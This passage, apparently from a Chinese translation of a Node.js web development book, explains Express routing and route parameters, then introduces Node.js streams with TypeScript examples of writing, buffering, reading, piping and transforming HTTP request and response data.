此方法将所有匹配路径的请求路由到指定的处理函数。

|

`use(handler)` 
此方法添加了一个中间件组件,该组件能够检查和拦截所有请求。后续章节将包含使用中间件的示例。

我在本章中只对 GET 请求感兴趣,因此我使用了 get 方法来指定 URL 路径和将生成响应的函数:

...
expressApp.**get**("/favicon.ico", notFoundHandler);
expressApp.**get**("/newurl", newUrlHandler);
expressApp.**get**("*", defaultHandler);
... 

这些语句是 路由,URL 被指定为允许通配符的模式,例如此路由中的 * 字符:

...
expressApp.get(**"*"**, defaultHandler);
... 

这将匹配任何 GET 请求并将其路由到 defaultHandler 函数。Express 按照定义的顺序匹配请求到路由,因此这是一个通配符路由,如果请求未匹配其他路由,则将应用此路由。

除了 表 5.9 中描述的方法之外,Express 对象也是一个可以与 httphttps 模块中定义的 Node.js createServer 函数一起使用的处理函数:

...
const httpsServer = createHttpsServer(httpsConfig, **expressApp**);
... 

Express 处理 Node.js 收到的所有 HTTP 请求并将它们路由到适当的处理函数。

使用请求和响应增强功能

除了路由之外,Express 还为传递给处理函数的 IncomingRequestServerResponse 对象提供了增强功能。代表 HTTP 请求的对象命名为 Request,它扩展了 IncomingRequest 类型。最有用的 Request 增强功能在 表 5.10 中描述。

表 5.10:有用的 Express 请求增强功能

名称 描述
hostname 此属性提供了对 hostname 标头值的便捷访问。
params 此属性提供了对路由参数的访问,这些参数在本章的 使用 Express 路由参数 部分中描述。
path 此属性返回请求 URL 的路径部分。
protocol 此属性返回用于发出请求的协议,它将是 httphttps
query 此属性返回一个对象,其属性对应于查询字符串参数。
secure 如果请求是使用 HTTPS 发出的,则此属性返回 true
body 此属性被分配了请求体的解析内容,如 第六章 中所示。

Express 用来表示 HTTP 响应的对象命名为Response,它扩展了ServerResponse类型。最有用的基本Response增强功能在表 5.11中描述。

表 5.11:有用的基本 Express 响应增强

名称 描述
redirect(code, path)``redirect(path) 此方法发送重定向响应。code参数用于设置响应状态码和消息。path参数用于设置Location头的值。如果省略code参数,则发送临时重定向,状态码为302
send(data) 此方法用于向服务器发送响应。状态码设置为200。此方法设置响应头以描述内容,包括Content-LengthContent-Type头。
sendStatus(code) 此方法用于发送状态码响应,并将自动设置已知状态码的状态消息,例如,状态码200将导致使用OK消息。

其他 Express 增强功能与后续章节中描述的功能相关,但表 5.10表 5.11中描述的基本添加足以简化示例应用程序生成响应的方式,如列表 5.17所示。

列表 5.17:在 src 文件夹中的 handler.ts 文件中使用 Express 增强功能

import { IncomingMessage, ServerResponse } from "http";
**//import { TLSSocket } from "tls";**
**//import { URL } from "url";**
**import** **{ Request, Response } from "express";**
**// export const isHttps = (req: IncomingMessage) : boolean => {**
**//     return req.socket instanceof TLSSocket && req.socket.encrypted;**
**// }**
export const redirectionHandler
        = (req: IncomingMessage, resp: ServerResponse) => {
    resp.writeHead(302, {
        "Location": "https://localhost:5500"
    });
    resp.end();
}
**export const notFoundHandler = (req: Request, resp: Response) => {**
 **resp.sendStatus(****404);**
**}**
**export const newUrlHandler = (req: Request, resp: Response) => {**
 **resp.send("Hello, New URL");**
**}**
**export const** **defaultHandler = (req: Request, resp: Response) => {**
 **if (req.query.keyword) {**
 **resp.send(`Hello, ${req.query.keyword}`);** 
 **} else {**
 **resp.send(****`Hello, ${req.protocol.toUpperCase()}`);**
 **}**
**}** 

Express 自动解析请求 URL,并通过表 5.10中描述的Response属性使 URL 的各个部分可访问,这意味着我不必显式解析 URL。方便的secure属性意味着我可以移除isHttps函数。

表 5.11中描述的Response方法减少了生成响应所需的语句数量。例如,send方法负责设置响应状态码,设置一些有用的头信息,并调用end方法通知 Node.js 响应已完成。

如果您请求https://localhost:5500/newurlhttps://localhost:5500?keyword=Express,您将看到图 5.6中显示的响应。

注意

您的浏览器可能使用不同的字体来显示这些响应,这是因为列表 5.17中用于生成响应的Response方法在响应中设置了Content-Type头为text/html。此头在之前的示例中没有设置,并且它改变了大多数浏览器显示内容的方式。

图 5.6:使用 Express 生成响应

使用 Express 路由参数

重要的是要理解 Express 并没有做什么神奇的事情,它的功能建立在章节中较早描述的 Node.js 提供的基础上。Express 的价值在于它使 Node.js API 更容易使用,结果是代码更容易理解和维护。

Express 提供的一个特别有用的功能是指定 路由参数,当匹配请求时从 URL 路径中提取值,并通过 Response.params 属性使它们易于访问,如 列表 5.18 所示。

列表 5.18:在 src 文件夹中的 server.ts 文件中使用路由参数

...
const expressApp: Express = express();
expressApp.get("/favicon.ico", notFoundHandler);
**expressApp.get("/newurl/:message?", newUrlHandler);**
expressApp.get("*", defaultHandler);
... 

修改后的路由在路径以 /newurl 开头时匹配请求。URL 路径的第二部分被分配给名为 message 的路由参数。参数由冒号(: 字符)表示。例如,对于 URL 路径 /newurl/Londonmessage 参数将被分配值 London。问号(? 字符)表示这是一个可选参数,这意味着即使没有第二个 URL 段,路由也会匹配请求。

路由参数是增加路由可以匹配的 URL 范围的有效方法。列表 5.19 使用 Response.params 属性获取 message 参数的值并将其纳入响应中。

列表 5.19:在 src 文件夹中的 handler.ts 文件中消耗路由参数

...
export const newUrlHandler = (req: Request, resp: Response) => {
    **const msg = req.params.message ?? "(No Message)";**
 **resp.send(`Hello, ${msg}`);**
}
... 

使用浏览器请求 https://localhost:5500/newurl/London,你将看到 图 5.7 中显示的响应。

图片

图 5.7:使用路由参数

摘要

在本章中,我描述了 Node.js 提供的用于接收 HTTP 请求和生成响应的 API 功能,这是服务器端 Web 应用程序开发的基础:

  • Node.js API 提供了接收 HTTP 和 HTTPS 请求的支持。

  • 当收到请求时,Node.js 会发出事件并调用回调函数来处理这些请求。

  • 当使用 Node.js API 时,通常需要执行一些额外的工作,例如解析 URL。

  • 第三方包,例如 Express,基于 Node.js API 来简化请求处理并简化生成响应的代码。

在下一章中,我将描述 Node.js 提供的用于读取和写入数据的功能。

第六章:使用 Node.js 流

服务器端开发中需要完成的主要任务之一是传输数据,无论是读取客户端或浏览器发送的数据,还是以某种方式传输或存储的数据。在本章中,我将介绍 Node.js 处理数据源和数据目的地的 API,称为 。我将解释流背后的概念,展示如何使用流来处理 HTTP 请求,并解释为什么在服务器端项目中应谨慎使用一个常见的数据源——文件系统。表 6.1 将流置于上下文中。

表 6.1:将流置于上下文中

问题 答案
它们是什么? 流被 Node.js 用于表示数据源或目的地,包括 HTTP 请求和响应。
为什么它们有用? 流不暴露数据产生或消费的细节,这使得相同的代码可以处理来自任何源的数据。
如何使用它们? Node.js 提供流来处理 HTTP 请求。流 API 用于从 HTTP 请求中读取数据并将数据写入 HTTP 响应。
有没有陷阱或限制? 流 API 可能有点难以处理,但使用第三方包可以改进这一点,这些包通常提供更方便的方法来执行常见任务。
有没有替代方案? 流对于 Node.js 开发至关重要。第三方包可以简化流的工作,但了解流的工作原理对于出现问题时是有帮助的。

表 6.2 总结了本章将涵盖的内容。

表 6.2:章节总结

问题 解决方案 列表
将数据写入流 使用 writeend 方法。 4
设置响应头 使用 setHeader 方法。 5–7
管理数据缓冲 使用 write 方法的返回结果并处理 drain 事件。 8–9
从流中读取数据 处理 dataend 事件或使用迭代器。 10–15
连接流 使用 pipe 方法。 16
转换数据 扩展 Transform 类并使用流对象模式。 17–19
服务器端静态文件 使用 Express 静态中间件或使用 sendFiledownload 方法。 20–26
编码和解码数据 使用 Express JSON 中间件和 json 响应方法。 27–28

准备本章内容

在本章中,我将继续使用在 第四章 中创建并在 第三章 中修改的 webapp 项目。为了准备本章内容,请将 src 文件夹中 server.ts 文件的全部内容替换为 清单 6.1 中显示的代码。

提示

您可以从 github.com/PacktPublishing/Mastering-Node.js-Web-Development 下载本章的示例项目——以及本书中所有其他章节的示例项目。有关如何获取帮助以运行示例的说明,请参阅 第一章

列表 6.1:替换 src 文件夹中 server.Ts 文件的内容

import { createServer } from "http";
import express, {Express } from "express";
import { basicHandler } from "./handler";
const port = 5000;
const expressApp: Express = express();
expressApp.get("/favicon.ico", (req, resp) => {
    resp.statusCode = 404;
    resp.end();
});
expressApp.get("*", basicHandler);
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

Express 路由器过滤掉 favicon 请求,并将所有其他 HTTP GET 请求传递给一个名为basicHandler的函数,该函数是从handler模块导入的。为了定义处理程序,将src文件夹中的handler.ts文件的内容替换为列表 6.2中显示的代码。

列表 6.2:src 文件夹中 handler.ts 文件的内容

import { IncomingMessage, ServerResponse } from "http";
export const basicHandler = (req: IncomingMessage, resp: ServerResponse) => {
    resp.end("Hello, World");
}; 

尽管使用了 Express 进行路由请求,但此处理程序使用了 Node.js 的IncomingMessageServerResponse类型。我将在使用第三方增强功能部分演示 Express 提供的增强功能,但我会从 Node.js 提供的内置功能开始。

本章中的一些示例需要图像文件。创建static文件夹,并向其中添加一个名为city.png的图像文件。只要将其命名为city.png,您可以使用任何 PNG 图像文件,或者您可以下载我在代码库中使用的纽约市天际线的公共领域全景图,如图 6.1所示。

图片

图 6.1:静态文件夹中的 The city.png 文件

webapp文件夹中运行列表 6.3中显示的命令以启动编译 TypeScript 文件并执行生成的 JavaScript 的监视器。

列表 6.3:启动项目

npm start 

打开一个网页浏览器并请求http://localhost:5000。你将看到图 6.2中显示的结果。

图片

图 6.2:运行示例项目

理解流

理解流的最佳方式是暂时忽略数据,并思考一下水。想象你在一个房间里,有一根带水龙头的水管从一堵墙上进入。你的任务是构建一个收集水管中水的设备。显然,管道的另一端连接着产生水的设备,但你只能看到水龙头,因此你的设备设计将由你所知的内容决定:你必须创建一个可以连接到管道并在水龙头打开时接收水的设备。对你正在处理的系统有如此有限的视角可能会感觉像是一种限制,但管道可以连接到任何水源,无论水来自河流还是水库,你的设备都能正常工作;它只是通过水龙头通过管道流过的水,而且总是被一致地消耗。

在管道的另一端,水的生产者有一个管道,他们将水泵入这个管道。水生产者看不到你连接在管道另一端的东西,也不知道你将如何使用这水。这并不重要,因为水生产者只需要将他们的水通过管道推送出去,无论这些水是用来驱动水车、填满游泳池还是运行淋浴。你可以改变连接到你的管道的设备,但这并不会对生产者产生影响,他们仍然以同样的方式将水泵入同一个管道。

在 Web 开发的世界里,解决了数据分布的问题,就像管道解决了水分布的问题一样。像管道一样,流也有两端。一端是数据生产者,也称为写者,他们将一系列数据值放入流中。另一端是数据消费者,也称为读者,他们从流中接收一系列数据值。写者和读者各自有自己的 API,允许他们与流一起工作,如图 6.3 所示。

图片

图 6.3:溪流的解剖结构

这种安排有两个重要的特点。第一个特点是数据以写入时的相同顺序到达,这就是为什么流通常被描述为数据值的序列

第二个特点是数据值可以随着时间的推移写入流中,这样写者就不必在写入第一个值之前准备好所有数据值。这意味着读者可以在写者仍在准备或计算序列中的后续值时接收并开始处理数据。这使得流适用于广泛的数据源,并且它们与 Node.js 编程模型集成良好,正如本章中的示例将展示的那样。

使用 Node.js 流

streams模块包含表示不同类型流的类,其中最重要的两个在表 6.3中描述。

表 6.3:有用的流类

名称 描述
可写 这个类提供了向流中写入数据的 API。
可读 这个类提供了从流中读取数据的 API。

在 Node.js 开发中,流的一端通常连接到 JavaScript 环境之外的东西,比如网络连接或文件系统,这使得数据可以以相同的方式读取和写入,无论数据是去往还是来自何方。

在 Web 开发中,流的最重要用途是它们用来表示 HTTP 请求和响应。用于表示 HTTP 请求和响应的IncomingMessageServerResponse类是从ReadableWritable类派生出来的。

将数据写入流

Writable 类用于将数据写入流。Writable 类提供的最有用的功能在 表 6.4 中描述,并在接下来的章节中解释。

表 6.4:有用的可写功能

名称 描述
write(data, callback) 此方法将数据写入流,并在数据被刷新时调用可选的回调函数。数据可以表示为 stringBufferUint8Array。对于字符串值,可以指定一个可选的编码。该方法返回一个 boolean 值,指示流是否能够接受更多数据而不超过其缓冲区大小,如 避免过度数据缓冲 部分所述。
end(data, callback) 此方法通知 Node.js 将不再发送数据。参数是一个可选的最终数据块,以及一个可选的回调函数,当数据完成时将被调用。
destroy(error) 此方法立即销毁流,而不等待任何挂起的数据被处理。
closed 如果流已被关闭,此属性返回 true
destroyed 如果调用了 destroy 方法,此属性返回 true
writable 如果流可以写入,则此属性返回 true,这意味着流尚未结束,未遇到错误或被销毁。
writableEnded 如果调用了 end 方法,此属性返回 true
writableHighWaterMark 此属性返回数据缓冲区的大小(以字节为单位)。当缓冲的数据量超过此值时,write 方法将返回 false
errored 如果流遇到错误,此属性返回 true

Writable 类也会发出事件,其中最有用的将在 表 6.5 中描述。

表 6.5:有用的可写事件

名称 描述
close 当流被关闭时,会发出此事件。
drain 当流可以无缓冲地接受数据时,会发出此事件。
error 当发生错误时,会发出此事件。
finish 当调用 end 方法并且流中的所有数据都已处理时,会发出此事件。

使用可写流的基本方法是在所有数据都发送到流中之前调用 write 方法,然后调用 end 方法,如 列表 6.4 所示。

列表 6.4:在 src 文件夹中的 handler.ts 文件中写入数据

import { IncomingMessage, ServerResponse } from "http";
export const basicHandler = (req: IncomingMessage, resp: ServerResponse) => {
    **for (let i = 0****; i < 10; i++) {**
 **resp.write(`Message: ${i}\n`);**
 **}**

 **resp.end("End");**
}; 

保存更改,允许 Node.js 重新启动,然后请求 http://localhost:5000。处理程序将将其数据写入响应流,产生 图 6.4 中所示的结果。

图 6.4:将数据写入 HTTP 响应流

容易将流端点想象成一条直通最终数据接收者的管道,在这个例子中是网络浏览器,但这种情况很少见。大多数流的端点是 Node.js API 与操作系统交互的部分,在这种情况下,是处理操作系统网络栈以发送和接收数据的代码。这种间接关系导致了一些重要的考虑因素,如下文所述。

理解流增强

一些流被增强以简化开发,这意味着你写入流的数据不一定总是接收端接收到的数据。例如,在 HTTP 响应的情况下,Node.js HTTP API 通过确保所有响应都符合 HTTP 协议的基本要求来帮助开发,即使程序员没有明确使用提供来设置状态码和头部的功能。要查看 列表 6.4 中的示例写入流的内容,请打开一个新的命令提示符并运行 列表 6.5 中显示的 Linux 命令。

列表 6.5:在 Linux 中发送 HTTP 请求

curl --include http://localhost:5000 

如果你是一名 Windows 用户,请使用 PowerShell 运行 列表 6.6 中显示的命令。

列表 6.6:在 Windows 中发送 HTTP 请求

(Invoke-WebRequest http://localhost:5000).RawContent 

这些命令可以轻松显示 Node.js 发送的整个响应。列表 6.4 中的代码仅使用了 writeend 方法,但 HTTP 响应将如下所示:

...
HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Date: Wed, 01 Nov 2023 19:46:02 GMT
X-Powered-By: Express
Message: 0
Message: 1
Message: 2
Message: 3
Message: 4
Message: 5
Message: 6
Message: 7
Message: 8
Message: 9
End
... 

Node.js HTTP API 确保响应是合法的 HTTP,通过添加 HTTP 版本号、状态码和消息以及最小的一组头部。这是一个有用的功能,它有助于说明你不能假设你写入流的数据就是到达另一端的数据。

ServerResponse 类展示了另一种流增强方式,即为你提供写入流内容的方法或属性,如 列表 6.7 所示。

列表 6.7:在 src 文件夹的 handler.ts 文件中使用流增强方法

import { IncomingMessage, ServerResponse } from "http";
export const basicHandler = (req: IncomingMessage, resp: ServerResponse) => {
    **resp.setHeader("Content-Type", "text/plain");**
    for (let i = 0; i < 10; i++) {
        resp.write(`Message: ${i}\n`);
    }

    resp.end("End");
}; 

在幕后,ServerResponse 类将传递给 setHeader 方法的参数与用于响应的默认内容合并。ServerResponse 类从 Writable 派生,并实现了 表 6.4 中描述的方法和属性,但增强功能使得向特定于 HTTP 请求的流写入内容(如设置响应中的标题)变得更加容易。如果你再次运行 列表 6.6列表 6.7 中显示的命令,你将看到调用 setHeader 方法的效果:

...
HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
**Content-Type: text/plain**
Date: Wed, 01 Nov 2023 21:19:45 GMT
X-Powered-By: Express
... 

避免过度数据缓冲

可写流在创建时带有一个缓冲区,数据在处理之前存储在其中。缓冲区是一种提高性能的方式,允许数据生产者以比流端点处理速度更快的爆发方式将数据写入流。

每次流处理一块数据时,我们说它已经清空了数据。当流缓冲区中的所有数据都被处理完毕时,我们说流缓冲区已经被清空。可以存储在缓冲区中的数据量被称为高水位标记

可写流始终接受数据,即使它必须增加其缓冲区的大小,但这是不理想的,因为它会增加在流清空其包含的数据期间可能需要的内存需求。

理想的方法是向流写入数据,直到其缓冲区满,然后等待该数据被清空后再写入更多数据。为了帮助实现这一目标,write方法返回一个boolean值,表示流是否可以在不超出其目标高水位标记的情况下接收更多数据。

列表 6.8使用write方法返回的值来指示流缓冲区何时达到容量。

列表 6.8:在 src 文件夹中的 handler.ts 文件中检查流容量

import { IncomingMessage, ServerResponse } from "http";
export const basicHandler = (req: IncomingMessage, resp: ServerResponse) => {
    resp.setHeader("Content-Type", "text/plain");
   **for (let i = 0; i <** **10_000; i++) {**
 **if (resp.write(`Message: ${i}\n`)) {**
 **console.log("Stream buffer is at capacity");**
 **}**
 **}**

    resp.end("End");
}; 

你可能需要增加for循环使用的最大值,但对我来说,快速向流写入 10,000 条消息将可靠地达到流限制。使用浏览器请求http://localhost:5000,你将看到 Node.js 控制台产生如下消息:

...
Stream buffer is at capacity
Stream buffer is at capacity
Stream buffer is at capacity
... 

可写流在其缓冲区被清空时发出drain事件,此时可以写入更多数据。在列表 6.9中,数据被写入 HTTP 响应流,直到write方法返回false,然后停止写入,直到接收到drain事件。(如果你想知道单个数据块何时被清空,则可以将回调函数传递给流的write方法。)

列表 6.9:在 src 文件夹中的 handler.ts 文件中避免过多的数据缓冲

import { IncomingMessage, ServerResponse } from "http";
export const basicHandler = (req: IncomingMessage, resp: ServerResponse) => {
    resp.setHeader("Content-Type", "text/plain");
    **let i = 0;**
 **let canWrite = true;**
 **const writeData = () => {**
**console.log("Started writing data");** 
 **do {**
 **canWrite = resp.write(`Message: ${i++}\n`);**
 **} while (i < 10_000 && canWrite);**
 **console.****log("Buffer is at capacity");**
 **if (i < 10_000) {**
 **resp.once("drain", () => {**
 **console.log("Buffer has been drained");**
**writeData();**
 **});**
 **} else {**
 **resp.end("End");**
 **}**
 **}**
 **writeData();**
}; 

writeData函数进入一个do...while循环,将数据写入流,直到write方法返回false。使用once方法注册一个处理程序,该处理程序将在drain事件触发时被调用,并调用writeData函数以恢复写入。一旦所有数据都已写入,将调用end方法以最终化流。

避免提前结束陷阱

一个常见的错误——而且我经常犯的错误——是将对end方法的调用放在写入数据的回调函数之外,如下所示:

`...`
`const writeData = () => {`
 `console.log("Started writing data");` 
 `do {`
 ``canWrite = resp.write(`Message: ${i++}\n`);``
 `} while (i < 10_000 && canWrite);`
 `console.log("Buffer is at capacity");`
 `if (i < 10_000) {`
 `resp.once("drain", () => {`
 `console.log("Buffer has been drained");`
 `writeData();`
 `});`
 `}`
`}`
`writeData();`
`resp.end("End");`
`...` 

结果可能会有所不同,但通常是一个错误,因为回调将在流关闭后调用write方法,或者由于drain事件不会触发,所以不会将所有数据写入流。为了避免这种错误,确保在数据写入后,在回调函数中调用end方法。

使用浏览器请求http://localhost:5000,你将看到 Node.js 控制台消息显示,当缓冲区达到容量时写入停止,一旦缓冲区被清空,写入将恢复:

...
Started writing data
Buffer is at capacity
Buffer has been drained
Started writing data
... 

从流中读取数据

网络应用程序中数据的最重要来源是 HTTP 请求体。示例项目需要做一些准备工作,以便客户端代码可以带有请求体的 HTTP 请求。将名为 index.html 的文件添加到 static 文件夹中,其内容如 列表 6.10 所示。

列表 6.10:static 文件夹中 index.html 文件的内容

<!DOCTYPE html>
<html>
    <head>
        <script>
            document.addEventListener('DOMContentLoaded', function() {
                document.getElementById("btn")
                    .addEventListener("click", sendReq);
            });
            sendReq = async () => {
                let payload = "";
                for (let i = 0; i < 10_000; i++) {
                    payload += `Payload Message: ${i}\n`;
                }
                const response = await fetch("/read", {
                    method: "POST", body: payload
                })
                document.getElementById("msg").textContent
                     = response.statusText;
                document.getElementById("body").textContent
                    = await response.text();
            }
        </script>
    </head>
    <body>
       <button id="btn">Send Request</button>
       <div id="msg"></div>
       <div id="body"></div>
    </body>
</html> 

这是一个包含一些 JavaScript 代码的简单 HTML 文档。我将在本章后面进行改进,包括将 JavaScript 和 HTML 内容分别放入单独的文件中,但这对开始来说已经足够了。列表 6.10 中的 JavaScript 代码使用浏览器的 Fetch API 发送包含 1,000 行文本的 HTTP POST 请求。列表 6.11 更新现有的请求处理器,使其以 HTML 文件的内容作为响应。

列表 6.11:在 src 文件夹的 handler.ts 文件中更新处理器

import { IncomingMessage, ServerResponse } from "http";
**import { readFileSync } from "fs";**
export const basicHandler = (req: IncomingMessage, resp: ServerResponse) => { 
    **resp.write(readFileSync("static/index.html"));**
 **resp.end();**
}; 

我使用 readFileSync 函数对 index.html 文件进行阻塞读取,这很简单,但正如我在本章后面解释的那样,这不是读取文件的最佳方式。为了创建一个将用于读取浏览器发送的数据的新处理器,将名为 readHandler.ts 的文件添加到 src 文件夹中,其内容如 列表 6.12 所示。目前,此处理器是一个占位符,在响应结束时不会产生任何内容。

列表 6.12:src 文件夹中 readHandler.ts 文件的内容

import { IncomingMessage, ServerResponse } from "http";
export const readHandler = (req: IncomingMessage, resp: ServerResponse) => {
    // TODO - read request body
    resp.end();
} 

列表 6.13 通过添加一个匹配 POST 请求并将它们发送到新处理器的路由来完成准备工作。

列表 6.13:在 src 文件夹的 server.ts 文件中添加路由

import { createServer } from "http";
import express, {Express } from "express";
import { basicHandler } from "./handler";
**import { readHandler } from "./readHandler";**
const port = 5000;
const expressApp: Express = express();
expressApp.get("/favicon.ico", (req, resp) => {
    resp.statusCode = 404;
    resp.end();
});
expressApp.get("*", basicHandler);
**expressApp.post("/read", readHandler);**
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

使用浏览器请求 http://localhost:5000,你将看到由 HTML 文档定义的按钮。点击按钮,浏览器将发送 HTTP POST 请求并显示从响应中接收到的状态消息,如图 图 6.5 所示。浏览器呈现的内容完全未加样式,但这对目前来说已经足够了。

图 6.5:发送 HTTP POST 请求

理解 Readable 类

Readable 类用于从流中读取数据。表 6.6 描述了 Readable 类最有用的功能。

表 6.6:有用的 Readable 功能

名称 描述
pause() 调用此方法会指示流暂时停止发出 data 事件。
resume() 调用此方法会指示流恢复发出 data 事件。
isPaused() 如果流的 data 事件已被暂停,则此方法返回 true
pipe(writable) 此方法用于将流的数据传输到 Writable
destroy(error) 此方法立即销毁流,而不等待任何挂起的数据被处理。
closed 如果流已被关闭,则此属性返回 true
destroyed 如果已调用 destroy 方法,则此属性返回 true
errored 如果流遇到错误,则此属性返回 true

Readable 类也会触发事件,其中最有用的描述在 表 6.7 中。

表 6.7:有用的 Readable 事件

名称 描述
data 当流处于流动模式且提供对流中数据的访问时触发此事件。有关详细信息,请参阅 使用事件读取数据 部分。
end 当没有更多数据可从流中读取时触发此事件。
close 当流关闭时触发此事件。
pause 当调用 pause 方法暂停数据读取时触发此事件。
resume 当调用 resume 方法重新启动数据读取时触发此事件。
error 如果从流中读取数据时发生错误,则触发此事件。

使用事件读取数据

可以使用事件从流中读取数据,如 清单 6.14 所示,其中使用回调函数处理数据。

清单 6.14:在 src 文件夹中的 readHandler.ts 文件中读取数据

import { IncomingMessage, ServerResponse } from "http";
export const readHandler = (req: IncomingMessage, resp: ServerResponse) => **{**
 **req.setEncoding("utf-8");**
 **req.on("data", (data: string) => {**
 **console****.log(data);**
 **});**
 **req.on("end", () => {**
 **console.log("End: all data read");**
 **resp.end();**
 **});** 
} 

当从流中读取到可读数据时,会触发 data 事件,并且该事件可用于处理回调函数。数据作为 Buffer 传递给回调函数,它表示无符号字节的数组,除非已使用 setEncoding 方法指定字符编码,在这种情况下,数据以 string 的形式表示。

此示例将字符编码设置为 UTF-8,以便 data 事件的回调函数将接收 string 类型的值,然后使用 console.log 方法将其写入。

当从流中读取所有数据时,会触发 end 事件。为了避免我之前描述的早期结束陷阱的变体,我仅在可读流的 end 方法触发时调用响应的 end 方法。使用浏览器请求 http://localhost:5000 并点击 发送请求 按钮,你将看到一系列 Node.js 控制台消息,因为数据正从流中读取:

...
Payload Message: 0
Payload Message: 1
Payload Message: 2
Payload Message: 3
...
Payload Message: 9997
Payload Message: 9998
Payload Message: 9999
End: all data read
... 

JavaScript 主线程确保 data 事件按顺序处理,但基本思想是尽可能快地读取和处理数据,以便一旦有可读数据,就会尽快触发 data 事件。

使用迭代器读取数据

Readable 类的实例可以用作 for 循环中的数据源,这可以提供一种更熟悉的方式来从流中读取数据,如 清单 6.15 所示。

清单 6.15:在 src 文件夹中的 readHandler.ts 文件中循环读取数据

import { IncomingMessage, ServerResponse } from "http";
**export const readHandler = async (req: IncomingMessage, resp: ServerResponse) => {**
    req.setEncoding("utf-8");
 **for await (const data of req) {**
 **console.log(data);**
 **}**
 **console.****log("End: all data read");**
 **resp.end();**
} 

asyncawait 关键字必须按照示例所示使用,但结果是 for 循环会从流中读取数据,直到全部消耗完毕。此示例产生的输出与 清单 6.14 相同。

将数据管道传输到可写流

使用 pipe 方法将一个 Readable 流连接到一个 Writeable 流,确保所有数据都从 Readable 流中读取,并写入到 Writeable 流中,无需进一步干预,如 列表 6.16 所示。

列表 6.16:在 src 文件夹中的 readHandler.ts 文件中将数据管道传输到

import { IncomingMessage, ServerResponse } from "http";
export const readHandler = async (req: IncomingMessage, resp: ServerResponse) => {
    **req.pipe(resp);**
} 

这是传输数据流之间最简单的方法,一旦所有数据传输完成,Writeable 流会自动调用 end 方法。使用浏览器请求 http://localhost:5000 并点击 发送请求 按钮。HTTP 请求中发送的数据会被管道传输到 HTTP 响应中,并在浏览器窗口中显示,如 图 6.6 所示。

图片

图 6.6:管道数据

数据转换

使用 Transform 类创建对象,称为 transformers,它们从 Readable 流接收数据,以某种方式处理它,然后传递出去。Transformers 通过 pipe 方法应用于流,如 列表 6.17 所示。

列表 6.17:在 src 文件夹中的 readHandler.ts 文件中创建 Transformer

import { IncomingMessage, ServerResponse } from "http";
**import { Transform } from "stream";**
export const readHandler = async (req: IncomingMessage, resp: ServerResponse) => {
 **req.pipe(createLowerTransform()).pipe(resp);**
**}**
**const** **createLowerTransform = () =>  new Transform({**
 **transform(data, encoding, callback) {**
 **callback(null, data.toString().toLowerCase());**
 **}**
**});** 

Transform 构造函数的参数是一个对象,其 transform 属性值是一个函数,当有数据要处理时会被调用。该函数接收三个参数:要处理的数据块,可以是任何数据类型,一个字符串编码类型,以及一个回调函数,用于传递转换后的数据。在这个例子中,接收到的数据被转换成字符串,然后调用 toLowerCase 方法。结果传递给回调函数,其参数是一个表示已发生任何错误的对象和转换后的数据。

Transformer 通过 pipe 方法应用,在这种情况下,数据链被连接起来,以便从 HTTP 请求中读取的数据被转换,然后写入到 HTTP 响应中。请注意,必须为每个请求创建一个新的 Transform 对象,如下所示:

...
req.pipe(**createLowerTransform()**).pipe(resp);
... 

使用浏览器请求 http://localhost:5000,并点击 发送请求 按钮。浏览器显示的内容,来自 HTTP 响应体,都是小写,如 图 6.7 所示。

图片

图 6.7:使用简单的 transformer

使用对象模式

Node.js API 创建的流,如用于 HTTP 请求或文件的流,仅适用于字符串和字节数组。这并不总是方便的,因此一些流,包括 transformers,可以使用 对象模式,允许读取或写入对象。为了准备这个例子,列表 6.18 更新了静态 HTML 文件中包含的 JavaScript 代码,以发送包含 JSON 格式对象的请求。

列表 6.18:在静态文件夹中的 index.html 文件中发送 JSON 请求体

...
<script>
    document.addEventListener('DOMContentLoaded', function() {
        document.getElementById("btn").addEventListener("click", sendReq);
    });
    sendReq = async () => {
        **let payload = [];**
 **for (let i = 0; i < 5; i++) {**
 **payload.push({ id: i, message: `Payload Message: ${i}\n`****});**
 **}**
        const response = await fetch("/read", {
           ** method: "POST", body: JSON.stringify****(payload),**
 **headers: {**
 **"Content-Type": "application/json"**
 **}**
        });
        document.getElementById("msg").textContent = response.statusText;
        document.getElementById("body").textContent = await response.text();
    }
</script>
... 

客户端发送的数据仍然可以以字符串或字节数组的形式读取,但可以使用转换器将请求数据包转换为 JavaScript 对象,或将 JavaScript 对象转换为字符串或字节数组,这被称为 对象模式。使用两个 Transform 构造函数配置设置来告诉 Node.js 转换器将如何行为,如 表 6.8 所述。

表 6.8:Transform 构造函数配置设置

名称 描述
readableObjectMode 当设置为 true 时,转换器将消费字符串/字节数据并产生一个对象。
writableObjectMode 当设置为 true 时,转换器将消费一个对象并产生字符串/字节数据。

列表 6.19 展示了一个将 readableObjectMode 设置为 true 的转换器,这意味着它将从 HTTP 请求有效载荷中读取字符串数据,但在读取数据时产生一个 JavaScript 对象。

列表 6.19:在 src 文件夹中的 readHandler.ts 文件中解析 JSON

import { IncomingMessage, ServerResponse } from "http";
import { Transform } from "stream";
export const readHandler = async (req: IncomingMessage, resp: ServerResponse) => {   
    **if (req.headers["content-type"] == "application/json") {**
 **req.pipe(createFromJsonTransform()).on("data", (payload) =>** **{**
 **if (payload instanceof Array) {**
 **resp.write(`Received an array with ${payload.length} items`)**
 **}  else {**
 **resp.write("Did not receive an array");**
 **}**
 **resp.end****();**
 **});**
 **} else {**
 **req.pipe(resp);**
 **}**
}
**const createFromJsonTransform = () => new Transform({**
 **readableObjectMode: true,**
 **transform(data, encoding, callback****) {**
 **callback(null, JSON.parse(data));**
 **}**
**});** 

如果 HTTP 请求有一个 Content-Type 头部指示有效载荷是 JSON,那么转换器将用于解析数据,该数据是通过 data 事件由请求处理器接收的。解析后的有效载荷将被检查以确定它是否是一个数组,如果是,则使用其长度来生成响应。使用浏览器请求 http://localhost:5000(或确保重新加载浏览器,以便 列表 6.18 中的更改生效),点击 发送请求 按钮,你将看到 图 6.8 中显示的响应。

图片

图 6.8:在对象模式下使用转换器

使用第三方增强功能

在接下来的章节中,我描述了 Express 包提供的有用增强功能,用于处理流和与 HTTP 相关的任务。Express 不是唯一提供这些功能的包,但对于新项目来说是一个好的默认选择,并为你提供了一个比较替代方案的基础。

文件处理

